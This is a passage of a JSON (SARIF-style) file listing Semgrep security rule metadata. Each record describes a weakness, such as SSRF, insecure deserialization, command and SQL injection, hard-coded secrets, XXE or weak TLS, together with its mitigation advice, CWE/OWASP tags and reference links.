use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","id":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","name":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","id":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","name":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"help":{"markdown":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop)\n - [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n","text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","id":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","name":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"help":{"markdown":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown)\n","text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","id":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","name":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"help":{"markdown":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-send.bad-send)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb)\n - [https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html](https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html)\n","text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-send.bad-send","id":"ruby.lang.security.no-send.bad-send","name":"ruby.lang.security.no-send.bad-send","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-send.bad-send"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","id":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","name":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe","id":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","name":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-expat.security.audit.expat-xxe.expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"help":{"markdown":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","id":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","name":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"help":{"markdown":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled)\n - [https://stackoverflow.com/a/7442668](https://stackoverflow.com/a/7442668)\n","text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","id":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","name":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","properties":{"precision":"very-high","tags":["CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences","LOW CONFIDENCE","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","id":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","name":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","id":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","name":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"help":{"markdown":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","id":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","name":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","id":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","name":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","id":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","name":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","id":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","name":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","id":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","name":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SendGrid API Key detected"},"help":{"markdown":"SendGrid API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SendGrid API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","id":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","name":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 